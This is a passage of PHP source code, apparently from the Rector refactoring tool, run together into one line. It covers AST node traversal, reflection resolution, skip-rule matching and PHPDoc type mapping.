$this->changedNodeScopeRefresher->reIndexNodeAttributes($node); // ensure origNode pulled before refactor to avoid changed during refactor, ref https://3v4l.org/YMEGN $originalNode = $node->getAttribute(AttributeKey::ORIGINAL_NODE) ?? $node; $refactoredNode = $this->refactor($node); // @see NodeTraverser::* codes, e.g. removal of node of stopping the traversing if ($refactoredNode === NodeTraverser::REMOVE_NODE) { $this->toBeRemovedNodeId = \spl_object_id($originalNode); // notify this rule changing code $rectorWithLineChange = new RectorWithLineChange(static::class, $originalNode->getLine()); $this->file->addRectorClassWithLine($rectorWithLineChange); return $originalNode; } if (\is_int($refactoredNode)) { $this->createdByRuleDecorator->decorate($node, $originalNode, static::class); if (!\in_array($refactoredNode, [NodeTraverser::DONT_TRAVERSE_CHILDREN, NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN], \true)) { // notify this rule changing code $rectorWithLineChange = new RectorWithLineChange(static::class, $originalNode->getLine()); $this->file->addRectorClassWithLine($rectorWithLineChange); return $refactoredNode; } $this->decorateCurrentAndChildren($node); return null; } // nothing to change → continue if ($refactoredNode === null) { return null; } if ($refactoredNode === []) { $errorMessage = \sprintf(self::EMPTY_NODE_ARRAY_MESSAGE, static::class); throw new ShouldNotHappenException($errorMessage); } return $this->postRefactorProcess($originalNode, $node, $refactoredNode, $filePath); } /** * Replacing nodes in leaveNode() method avoids infinite recursion * see"infinite recursion" in https://github.com/nikic/PHP-Parser/blob/master/doc/component/Walking_the_AST.markdown * @return mixed[]|int|\PhpParser\Node|null */ public function leaveNode(Node $node) { if ($node->hasAttribute(AttributeKey::ORIGINAL_NODE)) { return null; } $objectId = \spl_object_id($node); if ($this->toBeRemovedNodeId === $objectId) { $this->toBeRemovedNodeId = null; return NodeTraverser::REMOVE_NODE; } return $this->nodesToReturn[$objectId] ?? $node; } protected function isName(Node $node, string $name) : bool { return $this->nodeNameResolver->isName($node, $name); } /** * @param string[] $names */ protected function isNames(Node $node, array $names) : bool { return $this->nodeNameResolver->isNames($node, $names); } /** * Some nodes have always-known string name. This makes PHPStan smarter. * @see https://phpstan.org/writing-php-code/phpdoc-types#conditional-return-types * * @return ($node is Node\Param ? string : * ($node is ClassMethod ? string : * ($node is Property ? string : * ($node is PropertyProperty ? string : * ($node is Trait_ ? string : * ($node is Interface_ ? string : * ($node is Const_ ? string : * ($node is Node\Const_ ? string : * ($node is Name ? string : * string|null ))))))))) */ protected function getName(Node $node) : ?string { return $this->nodeNameResolver->getName($node); } protected function isObjectType(Node $node, ObjectType $objectType) : bool { return $this->nodeTypeResolver->isObjectType($node, $objectType); } /** * Use this method for getting expr|node type */ protected function getType(Node $node) : Type { return $this->nodeTypeResolver->getType($node); } /** * @param Node|Node[] $nodes * @param callable(Node): (int|Node|null|Node[]) $callable */ protected function traverseNodesWithCallable($nodes, callable $callable) : void { $this->simpleCallableNodeTraverser->traverseNodesWithCallable($nodes, $callable); } protected function mirrorComments(Node $newNode, Node $oldNode) : void { if ($this->nodeComparator->areSameNode($newNode, $oldNode)) { return; } if ($oldNode instanceof InlineHTML) { return; } $oldPhpDocInfo = $oldNode->getAttribute(AttributeKey::PHP_DOC_INFO); $newPhpDocInfo = $newNode->getAttribute(AttributeKey::PHP_DOC_INFO); if ($newPhpDocInfo instanceof PhpDocInfo) { if (!$oldPhpDocInfo instanceof PhpDocInfo) { return; } if ((string) $oldPhpDocInfo->getPhpDocNode() !== (string) $newPhpDocInfo->getPhpDocNode()) { return; } } $newNode->setAttribute(AttributeKey::PHP_DOC_INFO, $oldPhpDocInfo); if (!$newNode instanceof Nop) { $newNode->setAttribute(AttributeKey::COMMENTS, $oldNode->getAttribute(AttributeKey::COMMENTS)); } } private function decorateCurrentAndChildren(Node $node) : void { // filter only types that // 1. registered in getNodesTypes() method // 2. different with current node type, as already decorated above // $otherTypes = \array_filter($this->getNodeTypes(), static function (string $nodeType) use($node) : bool { return $nodeType !== \get_class($node); }); if ($otherTypes === []) { return; } $this->traverseNodesWithCallable($node, static function (Node $subNode) use($otherTypes) { if (\in_array(\get_class($subNode), $otherTypes, \true)) { $subNode->setAttribute(AttributeKey::SKIPPED_BY_RECTOR_RULE, static::class); } return null; }); } /** * @param Node|Node[] $refactoredNode */ private function postRefactorProcess(Node $originalNode, Node $node, $refactoredNode, string $filePath) : Node { /** @var non-empty-array|Node $refactoredNode */ $this->createdByRuleDecorator->decorate($refactoredNode, $originalNode, static::class); $rectorWithLineChange = new RectorWithLineChange(static::class, $originalNode->getLine()); $this->file->addRectorClassWithLine($rectorWithLineChange); /** @var MutatingScope|null $currentScope */ $currentScope = $node->getAttribute(AttributeKey::SCOPE); if (\is_array($refactoredNode)) { $firstNode = \current($refactoredNode); $this->mirrorComments($firstNode, $originalNode); $this->refreshScopeNodes($refactoredNode, $filePath, $currentScope); // search "infinite recursion" in https://github.com/nikic/PHP-Parser/blob/master/doc/component/Walking_the_AST.markdown $originalNodeId = \spl_object_id($originalNode); // will be replaced in leaveNode() the original node must be passed $this->nodesToReturn[$originalNodeId] = $refactoredNode; return $originalNode; } $this->refreshScopeNodes($refactoredNode, $filePath, $currentScope); return $refactoredNode; } /** * @param Node[]|Node $node */ private function refreshScopeNodes($node, string $filePath, ?MutatingScope $mutatingScope) : void { $nodes = $node instanceof Node ? [$node] : $node; foreach ($nodes as $node) { $this->changedNodeScopeRefresher->refresh($node, $filePath, $mutatingScope); } } private function isMatchingNodeType(Node $node) : bool { $nodeClass = \get_class($node); foreach ($this->getNodeTypes() as $nodeType) { if (\is_a($nodeClass, $nodeType, \true)) { return \true; } } return \false; } } getAttribute(AttributeKey::SCOPE); if (!$currentScope instanceof Scope) { $errorMessage = \sprintf('Scope not available on "%s" node, but is required by a refactorWithScope() method of "%s" rule. Fix scope refresh on changed nodes first', \get_class($node), static::class); throw new ShouldNotHappenException($errorMessage); } return $this->refactorWithScope($node, $currentScope); } } reflectionResolver = $reflectionResolver; } public function isInsideFinalClass(Node $node) : bool { $classReflection = $this->reflectionResolver->resolveClassReflection($node); if (!$classReflection instanceof ClassReflection) { return \false; } return $classReflection->isFinalByKeyword(); } public function isInsideAbstractClass(Node $node) : bool { $classReflection = $this->reflectionResolver->resolveClassReflection($node); if (!$classReflection instanceof ClassReflection) { return \false; } return $classReflection->isAbstract(); } } getNativeReflection(); if ($nativeReflection instanceof ReflectionEnum) { return null; } return $nativeReflection->getParentClassName(); } } reflectionProvider = $reflectionProvider; } /** * @param class-string $className */ public function resolveMethodReflection(string $className, string $methodName, ?Scope $scope) : ?MethodReflection { if (!$this->reflectionProvider->hasClass($className)) { return null; } $classReflection = $this->reflectionProvider->getClass($className); // better, with support for "@method" annotation methods if ($scope instanceof Scope) { if ($classReflection->hasMethod($methodName)) { return $classReflection->getMethod($methodName, $scope); } } elseif ($classReflection->hasNativeMethod($methodName)) { return $classReflection->getNativeMethod($methodName); } return null; } } reflectionProvider = $reflectionProvider; $this->nodeTypeResolver = $nodeTypeResolver; $this->nodeNameResolver = $nodeNameResolver; $this->classAnalyzer = $classAnalyzer; $this->methodReflectionResolver = $methodReflectionResolver; } /** * @api */ public function resolveClassAndAnonymousClass(ClassLike $classLike) : ClassReflection { if ($classLike instanceof Class_ && $this->classAnalyzer->isAnonymousClass($classLike)) { $classLikeScope = $classLike->getAttribute(AttributeKey::SCOPE); if (!$classLikeScope instanceof Scope) { throw new ShouldNotHappenException(); } return $this->reflectionProvider->getAnonymousClassReflection($classLike, $classLikeScope); } $className = (string) $this->nodeNameResolver->getName($classLike); return $this->reflectionProvider->getClass($className); } public function resolveClassReflection(?Node $node) : ?ClassReflection { if (!$node instanceof Node) { return null; } $scope = $node->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return null; } return $scope->getClassReflection(); } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\NullsafeMethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\PropertyFetch|\PhpParser\Node\Expr\StaticPropertyFetch $node */ public function resolveClassReflectionSourceObject($node) : ?ClassReflection { $objectType = $node instanceof StaticCall || $node instanceof StaticPropertyFetch ? $this->nodeTypeResolver->getType($node->class) : $this->nodeTypeResolver->getType($node->var); if (!$objectType instanceof TypeWithClassName) { return null; } $className = $objectType->getClassName(); if (!$this->reflectionProvider->hasClass($className)) { return null; } $classReflection = $this->reflectionProvider->getClass($className); if ($node instanceof PropertyFetch || $node instanceof StaticPropertyFetch) { $propertyName = (string) $this->nodeNameResolver->getName($node->name); if (!$classReflection->hasNativeProperty($propertyName)) { return null; } $property = $classReflection->getNativeProperty($propertyName); if ($property->isPrivate()) { return $classReflection; } if ($this->reflectionProvider->hasClass($property->getDeclaringClass()->getName())) { return $this->reflectionProvider->getClass($property->getDeclaringClass()->getName()); } return $classReflection; } $methodName = (string) $this->nodeNameResolver->getName($node->name); if (!$classReflection->hasNativeMethod($methodName)) { return null; } $extendedMethodReflection = $classReflection->getNativeMethod($methodName); if ($extendedMethodReflection->isPrivate()) { return $classReflection; } if ($this->reflectionProvider->hasClass($extendedMethodReflection->getDeclaringClass()->getName())) { return $this->reflectionProvider->getClass($extendedMethodReflection->getDeclaringClass()->getName()); } return $classReflection; } /** * @param class-string $className */ public function resolveMethodReflection(string $className, string $methodName, ?Scope $scope) : ?MethodReflection { return $this->methodReflectionResolver->resolveMethodReflection($className, $methodName, $scope); } public function resolveMethodReflectionFromStaticCall(StaticCall $staticCall) : ?MethodReflection { $objectType = $this->nodeTypeResolver->getType($staticCall->class); if ($objectType instanceof ShortenedObjectType) { /** @var array $classNames */ $classNames = [$objectType->getFullyQualifiedName()]; } else { /** @var array $classNames */ $classNames = $objectType->getObjectClassNames(); } $methodName = $this->nodeNameResolver->getName($staticCall->name); if ($methodName === null) { return null; } $scope = $staticCall->getAttribute(AttributeKey::SCOPE); foreach ($classNames as $className) { $methodReflection = $this->resolveMethodReflection($className, $methodName, $scope); if ($methodReflection instanceof MethodReflection) { return $methodReflection; } } return null; } public function resolveMethodReflectionFromMethodCall(MethodCall $methodCall) : ?MethodReflection { $callerType = $this->nodeTypeResolver->getType($methodCall->var); if ($callerType instanceof BenevolentUnionType) { $callerType = TypeCombinator::removeFalsey($callerType); } if (!$callerType instanceof TypeWithClassName) { return null; } $methodName = $this->nodeNameResolver->getName($methodCall->name); if ($methodName === null) { return null; } $scope = $methodCall->getAttribute(AttributeKey::SCOPE); return $this->resolveMethodReflection($callerType->getClassName(), $methodName, $scope); } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\StaticCall $call * @return \PHPStan\Reflection\MethodReflection|\PHPStan\Reflection\FunctionReflection|null */ public function resolveFunctionLikeReflectionFromCall($call) { if ($call instanceof MethodCall) { return $this->resolveMethodReflectionFromMethodCall($call); } if ($call instanceof StaticCall) { return $this->resolveMethodReflectionFromStaticCall($call); } return $this->resolveFunctionReflectionFromFuncCall($call); } public function resolveMethodReflectionFromClassMethod(ClassMethod $classMethod, Scope $scope) : ?MethodReflection { $classReflection = $scope->getClassReflection(); if (!$classReflection instanceof ClassReflection) { return null; } $className = $classReflection->getName(); $methodName = $this->nodeNameResolver->getName($classMethod); return $this->resolveMethodReflection($className, $methodName, $scope); } public function resolveFunctionReflectionFromFunction(Function_ $function, Scope $scope) : ?FunctionReflection { $name = $this->nodeNameResolver->getName($function); if ($name === null) { return null; } $functionName = new Name($name); if ($this->reflectionProvider->hasFunction($functionName, $scope)) { return $this->reflectionProvider->getFunction($functionName, $scope); } return null; } public function resolveMethodReflectionFromNew(New_ $new) : ?MethodReflection { $newClassType = $this->nodeTypeResolver->getType($new->class); if (!$newClassType instanceof TypeWithClassName) { return null; } $scope = $new->getAttribute(AttributeKey::SCOPE); return $this->resolveMethodReflection($newClassType->getClassName(), MethodName::CONSTRUCT, $scope); } /** * @param \PhpParser\Node\Expr\PropertyFetch|\PhpParser\Node\Expr\StaticPropertyFetch $propertyFetch */ public function resolvePropertyReflectionFromPropertyFetch($propertyFetch) : ?PhpPropertyReflection { $propertyName = $this->nodeNameResolver->getName($propertyFetch->name); if ($propertyName === null) { return null; } $fetcheeType = $propertyFetch instanceof PropertyFetch ? $this->nodeTypeResolver->getType($propertyFetch->var) : $this->nodeTypeResolver->getType($propertyFetch->class); if (!$fetcheeType instanceof TypeWithClassName) { return null; } if (!$this->reflectionProvider->hasClass($fetcheeType->getClassName())) { return null; } $classReflection = $this->reflectionProvider->getClass($fetcheeType->getClassName()); if (!$classReflection->hasProperty($propertyName)) { return null; } $scope = $propertyFetch->getAttribute(AttributeKey::SCOPE); if ($scope instanceof Scope) { $propertyReflection = $classReflection->getProperty($propertyName, $scope); if ($propertyReflection instanceof PhpPropertyReflection) { return $propertyReflection; } return null; } return $classReflection->getNativeProperty($propertyName); } /** * @return \PHPStan\Reflection\FunctionReflection|\PHPStan\Reflection\MethodReflection|null */ private function resolveFunctionReflectionFromFuncCall(FuncCall $funcCall) { $scope = $funcCall->getAttribute(AttributeKey::SCOPE); if (!$funcCall->name instanceof Name) { return null; } if ($this->reflectionProvider->hasFunction($funcCall->name, $scope)) { return $this->reflectionProvider->getFunction($funcCall->name, $scope); } return null; } } symfonyStyle = $symfonyStyle; } public function reportDeprecatedRules() : void { /** @var string[] $registeredRectorRules */ $registeredRectorRules = SimpleParameterProvider::provideArrayParameter(Option::REGISTERED_RECTOR_RULES); foreach ($registeredRectorRules as $registeredRectorRule) { if (!\is_a($registeredRectorRule, DeprecatedInterface::class, \true)) { continue; } $this->symfonyStyle->warning(\sprintf('Registered rule "%s" is deprecated and will be removed. Upgrade your config to use another rule or remove it', $registeredRectorRule)); } } public function reportDeprecatedSkippedRules() : void { /** @var string[] $skippedRectorRules */ $skippedRectorRules = SimpleParameterProvider::provideArrayParameter(Option::SKIPPED_RECTOR_RULES); foreach ($skippedRectorRules as $skippedRectorRule) { if (!\is_a($skippedRectorRule, DeprecatedInterface::class, \true)) { continue; } $this->symfonyStyle->warning(\sprintf('Skipped rule "%s" is deprecated', $skippedRectorRule)); } } } symfonyStyle = $symfonyStyle; $this->vendorMissAnalyseGuard = $vendorMissAnalyseGuard; } public function reportSkippedNeverRegisteredRules() : void { $registeredRules = SimpleParameterProvider::provideArrayParameter(Option::REGISTERED_RECTOR_RULES); $skippedRules = SimpleParameterProvider::provideArrayParameter(Option::SKIPPED_RECTOR_RULES); $neverRegisteredSkippedRules = \array_unique(\array_diff($skippedRules, $registeredRules)); foreach ($neverRegisteredSkippedRules as $neverRegisteredSkippedRule) { // post rules are registered in a different way if (\is_a($neverRegisteredSkippedRule, PostRectorInterface::class, \true)) { continue; } $this->symfonyStyle->warning(\sprintf('Skipped rule "%s" is never registered. You can remove it from "->withSkip()"', $neverRegisteredSkippedRule)); } } /** * @param string[] $filePaths */ public function reportVendorInPaths(array $filePaths) : void { if (!$this->vendorMissAnalyseGuard->isVendorAnalyzed($filePaths)) { return; } $this->symfonyStyle->warning(\sprintf('Rector has detected a "/vendor" directory in your configured paths. If this is Composer\'s vendor directory, this is not necessary as it will be autoloaded. Scanning the Composer /vendor directory will cause Rector to run much slower and possibly with errors.%sRemove "/vendor" from Rector paths and run again.', \PHP_EOL . \PHP_EOL)); \sleep(3); } public function reportStartWithShortOpenTag() : void { $files = SimpleParameterProvider::provideArrayParameter(Option::SKIPPED_START_WITH_SHORT_OPEN_TAG_FILES); if ($files === []) { return; } $suffix = \count($files) > 1 ? 's were' : ' was'; $fileList = \implode(\PHP_EOL, $files); $this->symfonyStyle->warning(\sprintf('The following file%s skipped as starting with short open tag. Migrate to long open PHP tag first: %s%s', $suffix, \PHP_EOL . \PHP_EOL, $fileList)); \sleep(3); } } setProviderCollector = $setProviderCollector; } /** * @return ComposerTriggeredSet[] */ public function matchComposerTriggered(string $groupName) : array { $matchedSets = []; foreach ($this->setProviderCollector->provideSets() as $set) { if (!$set instanceof ComposerTriggeredSet) { continue; } if ($set->getGroupName() === $groupName) { $matchedSets[] = $set; } } return $matchedSets; } /** * @param string[] $setGroups * @return string[] */ public function matchBySetGroups(array $setGroups) : array { $installedPackageResolver = new InstalledPackageResolver(); $installedComposerPackages = $installedPackageResolver->resolve(\getcwd()); $groupLoadedSets = []; foreach ($setGroups as $setGroup) { $composerTriggeredSets = $this->matchComposerTriggered($setGroup); foreach ($composerTriggeredSets as $composerTriggeredSet) { if ($composerTriggeredSet->matchInstalledPackages($installedComposerPackages)) { // @todo add debug note somewhere // echo sprintf('Loaded "%s" set as it meets the conditions', $composerTriggeredSet->getSetFilePath()); // it matched composer package + version requirements → load set $groupLoadedSets[] = $composerTriggeredSet->getSetFilePath(); } } } return $groupLoadedSets; } } groupName = $groupName; $this->packageName = $packageName; $this->version = $version; $this->setFilePath = $setFilePath; Assert::regex($this->packageName, self::PACKAGE_REGEX); Assert::fileExists($setFilePath); } public function getGroupName() : string { return $this->groupName; } public function getSetFilePath() : string { return $this->setFilePath; } /** * @param InstalledPackage[] $installedPackages */ public function matchInstalledPackages(array $installedPackages) : bool { foreach ($installedPackages as $installedPackage) { if ($installedPackage->getName() !== $this->packageName) { continue; } return \version_compare($installedPackage->getVersion(), $this->version) !== -1; } return \false; } public function getName() : string { return $this->packageName . ' ' . $this->version; } } groupName = $groupName; $this->setName = $setName; $this->setFilePath = $setFilePath; Assert::fileExists($setFilePath); } public function getGroupName() : string { return $this->groupName; } public function getName() : string { return $this->setName; } public function getSetFilePath() : string { return $this->setFilePath; } } fnMatchPathNormalizer = $fnMatchPathNormalizer; $this->fnmatcher = $fnmatcher; $this->realpathMatcher = $realpathMatcher; } /** * @param string[] $filePatterns */ public function doesFileInfoMatchPatterns(string $filePath, array $filePatterns) : bool { $filePath = PathNormalizer::normalize($filePath); foreach ($filePatterns as $filePattern) { $filePattern = PathNormalizer::normalize($filePattern); if ($this->doesFileMatchPattern($filePath, $filePattern)) { return \true; } } return \false; } /** * Supports both relative and absolute $file path. They differ for PHP-CS-Fixer and PHP_CodeSniffer. */ private function doesFileMatchPattern(string $filePath, string $ignoredPath) : bool { // in rector.php, the path can be absolute if ($filePath === $ignoredPath) { return \true; } $ignoredPath = $this->fnMatchPathNormalizer->normalizeForFnmatch($ignoredPath); if ($ignoredPath === '') { return \false; } if (\strncmp($filePath, $ignoredPath, \strlen($ignoredPath)) === 0) { return \true; } if (\substr_compare($filePath, $ignoredPath, -\strlen($ignoredPath)) === 0) { return \true; } if ($this->fnmatcher->match($ignoredPath, $filePath)) { return \true; } return $this->realpathMatcher->match($ignoredPath, $filePath); } } */ private $skippedClasses = null; /** * @return array */ public function resolve() : array { // disable cache in tests if (StaticPHPUnitEnvironment::isPHPUnitRun()) { $this->skippedClasses = null; } // already cached, even only empty array if ($this->skippedClasses !== null) { return $this->skippedClasses; } $skip = SimpleParameterProvider::provideArrayParameter(Option::SKIP); $this->skippedClasses = []; foreach ($skip as $key => $value) { // e.g. [SomeClass::class] → shift values to [SomeClass::class => null] if (\is_int($key)) { $key = $value; $value = null; } if (!\is_string($key)) { continue; } // this only checks for Rector rules, that are always autoloaded if (!\class_exists($key) && !\interface_exists($key)) { continue; } $this->skippedClasses[$key] = $value; } return $this->skippedClasses; } } filePathHelper = $filePathHelper; } /** * @return string[] */ public function resolve() : array { // disable cache in tests if (StaticPHPUnitEnvironment::isPHPUnitRun()) { $this->skippedPaths = null; } // already cached, even only empty array if ($this->skippedPaths !== null) { return $this->skippedPaths; } $skip = SimpleParameterProvider::provideArrayParameter(Option::SKIP); $this->skippedPaths = []; foreach ($skip as $key => $value) { if (!\is_int($key)) { continue; } if (\strpos((string) $value, '*') !== \false) { $this->skippedPaths[] = $this->filePathHelper->normalizePathAndSchema($value); continue; } if (\file_exists($value)) { $this->skippedPaths[] = $this->filePathHelper->normalizePathAndSchema($value); } } return $this->skippedPaths; } } skipSkipper = $skipSkipper; $this->skippedClassResolver = $skippedClassResolver; $this->reflectionProvider = $reflectionProvider; } /** * @param string|object $element */ public function match($element) : bool { if (\is_object($element)) { return \true; } return $this->reflectionProvider->hasClass($element); } /** * @param string|object $element */ public function shouldSkip($element, string $filePath) : bool { $skippedClasses = $this->skippedClassResolver->resolve(); return $this->skipSkipper->doesMatchSkip($element, $filePath, $skippedClasses); } } fileInfoMatcher = $fileInfoMatcher; $this->skippedPathsResolver = $skippedPathsResolver; } public function shouldSkip(string $filePath) : bool { $skippedPaths = $this->skippedPathsResolver->resolve(); return $this->fileInfoMatcher->doesFileInfoMatchPatterns($filePath, $skippedPaths); } } fileInfoMatcher = $fileInfoMatcher; } /** * @param array $skippedClasses * @param object|string $checker */ public function doesMatchSkip($checker, string $filePath, array $skippedClasses) : bool { foreach ($skippedClasses as $skippedClass => $skippedFiles) { if (!\is_a($checker, $skippedClass, \true)) { continue; } // skip everywhere if (!\is_array($skippedFiles)) { return \true; } if ($this->fileInfoMatcher->doesFileInfoMatchPatterns($filePath, $skippedFiles)) { return \true; } } return \false; } } rectifiedAnalyzer = $rectifiedAnalyzer; $this->pathSkipper = $pathSkipper; $this->classSkipVoter = $classSkipVoter; } /** * @param string|object $element */ public function shouldSkipElement($element) : bool { return $this->shouldSkipElementAndFilePath($element, __FILE__); } public function shouldSkipFilePath(string $filePath) : bool { return $this->pathSkipper->shouldSkip($filePath); } /** * @param string|object $element */ public function shouldSkipElementAndFilePath($element, string $filePath) : bool { if (!$this->classSkipVoter->match($element)) { return \false; } return $this->classSkipVoter->shouldSkip($element, $filePath); } /** * @param class-string $rectorClass * @param string|object $element */ public function shouldSkipCurrentNode($element, string $filePath, string $rectorClass, Node $node) : bool { if ($this->shouldSkipElementAndFilePath($element, $filePath)) { return \true; } return $this->rectifiedAnalyzer->hasRectified($rectorClass, $node); } } dynamicSourceLocatorProvider = $dynamicSourceLocatorProvider; $this->fileAndDirectoryFilter = $fileAndDirectoryFilter; $this->filesystemTweaker = $filesystemTweaker; } /** * @param string[] $paths */ public function addPaths(array $paths) : void { if ($paths === []) { return; } $paths = $this->filesystemTweaker->resolveWithFnmatch($paths); $files = $this->fileAndDirectoryFilter->filterFiles($paths); $this->dynamicSourceLocatorProvider->addFiles($files); $directories = $this->fileAndDirectoryFilter->filterDirectories($paths); $this->dynamicSourceLocatorProvider->addDirectories($directories); } public function isPathsEmpty() : bool { return $this->dynamicSourceLocatorProvider->isPathsEmpty(); } } */ public function getNodeType() : string; /** * @param TTypeNode $typeNode */ public function mapToPHPStanType(TypeNode $typeNode, Node $node, NameScope $nameScope) : Type; } */ public function getNodeType() : string; /** * @param TNode $node */ public function mapToPHPStan(Node $node) : Type; } phpParserNodeMappers = $phpParserNodeMappers; } public function mapToPHPStanType(Node $node) : Type { foreach ($this->phpParserNodeMappers as $phpParserNodeMapper) { if (!\is_a($node, $phpParserNodeMapper->getNodeType())) { continue; } return $phpParserNodeMapper->mapToPHPStan($node); } throw new NotImplementedYetException(\get_class($node)); } } , string[]> */ private const SCALAR_NAME_BY_TYPE = [StringType::class => ['string'], AccessoryNonEmptyStringType::class => ['non-empty-string'], NonEmptyArrayType::class => ['non-empty-array'], ClassStringType::class => ['class-string'], FloatType::class => ['float', 'real', 'double'], IntegerType::class => ['int', 'integer'], BooleanType::class => ['bool', 'boolean'], NullType::class => ['null'], VoidType::class => ['void'], ResourceType::class => ['resource'], CallableType::class => ['callback', 'callable'], ObjectWithoutClassType::class => ['object'], NeverType::class => ['never', 'never-return', 'never-returns', 'no-return']]; public function mapScalarStringToType(string $scalarName) : Type { $loweredScalarName = Strings::lower($scalarName); if ($loweredScalarName === 'false') { return new ConstantBooleanType(\false); } if ($loweredScalarName === 'true') { return new ConstantBooleanType(\true); } if ($loweredScalarName === 'positive-int') { return IntegerRangeType::createAllGreaterThan(0); } if ($loweredScalarName === 'negative-int') { return IntegerRangeType::createAllSmallerThan(0); } foreach (self::SCALAR_NAME_BY_TYPE as $objectType => $scalarNames) { if (!\in_array($loweredScalarName, $scalarNames, \true)) { continue; } return new $objectType(); } if ($loweredScalarName === 'array') { return new ArrayType(new MixedType(), new MixedType()); } if ($loweredScalarName === 'iterable') { return new IterableType(new MixedType(), new MixedType()); } if ($loweredScalarName === 'mixed') { return new MixedType(\true); } return new MixedType(); } } useImportsResolver = $useImportsResolver; } public function createNameScopeFromNodeWithoutTemplateTypes(Node $node) : NameScope { $scope = $node->getAttribute(AttributeKey::SCOPE); if ($scope instanceof Scope) { $namespace = $scope->getNamespace(); $classReflection = $scope->getClassReflection(); $className = $classReflection instanceof ClassReflection ? $classReflection->getName() : null; } else { $namespace = null; $className = null; } $uses = $this->useImportsResolver->resolve(); $usesAliasesToNames = $this->resolveUseNamesByAlias($uses); return new NameScope($namespace, $usesAliasesToNames, $className); } /** * @param array $useNodes * @return array */ private function resolveUseNamesByAlias(array $useNodes) : array { $useNamesByAlias = []; foreach ($useNodes as $useNode) { $prefix = $this->useImportsResolver->resolvePrefix($useNode); foreach ($useNode->uses as $useUse) { /** @var UseUse $useUse */ $aliasName = $useUse->getAlias()->name; // uses must be lowercase, as PHPStan lowercases it $lowercasedAliasName = \strtolower($aliasName); $useNamesByAlias[$lowercasedAliasName] = $prefix . $useUse->name->toString(); } } return $useNamesByAlias; } } phpDocTypeMappers = $phpDocTypeMappers; $this->typeNodeResolver = $typeNodeResolver; Assert::notEmpty($phpDocTypeMappers); } public function mapToPHPStanType(TypeNode $typeNode, Node $node, NameScope $nameScope) : Type { foreach ($this->phpDocTypeMappers as $phpDocTypeMapper) { if (!\is_a($typeNode, $phpDocTypeMapper->getNodeType())) { continue; } return $phpDocTypeMapper->mapToPHPStanType($typeNode, $node, $nameScope); } // fallback to PHPStan resolver return $this->typeNodeResolver->resolve($typeNode, $nameScope); } } */ final class IdentifierPhpDocTypeMapper implements PhpDocTypeMapperInterface { /** * @readonly * @var \Rector\TypeDeclaration\PHPStan\ObjectTypeSpecifier */ private $objectTypeSpecifier; /** * @readonly * @var \Rector\StaticTypeMapper\Mapper\ScalarStringToTypeMapper */ private $scalarStringToTypeMapper; /** * @readonly * @var \PHPStan\Reflection\ReflectionProvider */ private $reflectionProvider; /** * @readonly * @var \Rector\Reflection\ReflectionResolver */ private $reflectionResolver; public function __construct(ObjectTypeSpecifier $objectTypeSpecifier, ScalarStringToTypeMapper $scalarStringToTypeMapper, ReflectionProvider $reflectionProvider, ReflectionResolver $reflectionResolver) { $this->objectTypeSpecifier = $objectTypeSpecifier; $this->scalarStringToTypeMapper = $scalarStringToTypeMapper; $this->reflectionProvider = $reflectionProvider; $this->reflectionResolver = $reflectionResolver; } public function getNodeType() : string { return IdentifierTypeNode::class; } /** * @param IdentifierTypeNode $typeNode */ public function mapToPHPStanType(TypeNode $typeNode, Node $node, NameScope $nameScope) : Type { return $this->mapIdentifierTypeNode($typeNode, $node); } public function mapIdentifierTypeNode(IdentifierTypeNode $identifierTypeNode, Node $node) : Type { $type = $this->scalarStringToTypeMapper->mapScalarStringToType($identifierTypeNode->name); if (!$type instanceof MixedType) { return $type; } if ($type->isExplicitMixed()) { return $type; } $loweredName = \strtolower($identifierTypeNode->name); if ($loweredName === ObjectReference::SELF) { return $this->mapSelf($node); } if ($loweredName === ObjectReference::PARENT) { return $this->mapParent($node); } if ($loweredName === ObjectReference::STATIC) { return $this->mapStatic($node); } if ($loweredName === 'iterable') { return new IterableType(new MixedType(), new MixedType()); } if (\strncmp($identifierTypeNode->name, '\\', \strlen('\\')) === 0) { $typeWithoutPreslash = Strings::substring($identifierTypeNode->name, 1); $objectType = new FullyQualifiedObjectType($typeWithoutPreslash); } else { if ($identifierTypeNode->name === 'scalar') { // pseudo type, see https://www.php.net/manual/en/language.types.intro.php $scalarTypes = [new BooleanType(), new StringType(), new IntegerType(), new FloatType()]; return new UnionType($scalarTypes); } $objectType = new ObjectType($identifierTypeNode->name); } $scope = $node->getAttribute(AttributeKey::SCOPE); return $this->objectTypeSpecifier->narrowToFullyQualifiedOrAliasedObjectType($node, $objectType, $scope); } /** * @return \PHPStan\Type\MixedType|\Rector\StaticTypeMapper\ValueObject\Type\SelfObjectType */ private function mapSelf(Node $node) { // @todo check FQN $className = $this->resolveClassName($node); if (!\is_string($className)) { // self outside the class, e.g. in a function return new MixedType(); } return new SelfObjectType($className); } /** * @return \Rector\StaticTypeMapper\ValueObject\Type\ParentStaticType|\PHPStan\Type\MixedType */ private function mapParent(Node $node) { $className = $this->resolveClassName($node); if (!\is_string($className)) { // parent outside the class, e.g. in a function return new MixedType(); } if (!$this->reflectionProvider->hasClass($className)) { return new MixedType(); } $classReflection = $this->reflectionProvider->getClass($className); $parentClassReflection = $classReflection->getParentClass(); if (!$parentClassReflection instanceof ClassReflection) { return new MixedType(); } return new ParentStaticType($parentClassReflection); } /** * @return \PHPStan\Type\MixedType|\PHPStan\Type\StaticType */ private function mapStatic(Node $node) { $className = $this->resolveClassName($node); if (!\is_string($className)) { // static outside the class, e.g. in a function return new MixedType(); } if (!$this->reflectionProvider->hasClass($className)) { return new MixedType(); } $classReflection = $this->reflectionProvider->getClass($className); return new StaticType($classReflection); } private function resolveClassName(Node $node) : ?string { $classReflection = $this->reflectionResolver->resolveClassReflection($node); if (!$classReflection instanceof ClassReflection) { return null; } return $classReflection->getName(); } } */ final class IntersectionPhpDocTypeMapper implements PhpDocTypeMapperInterface { /** * @readonly * @var \Rector\StaticTypeMapper\PhpDocParser\IdentifierPhpDocTypeMapper */ private $identifierPhpDocTypeMapper; public function __construct(\Rector\StaticTypeMapper\PhpDocParser\IdentifierPhpDocTypeMapper $identifierPhpDocTypeMapper) { $this->identifierPhpDocTypeMapper = $identifierPhpDocTypeMapper; } public function getNodeType() : string { return IntersectionTypeNode::class; } /** * @param IntersectionTypeNode $typeNode */ public function mapToPHPStanType(TypeNode $typeNode, Node $node, 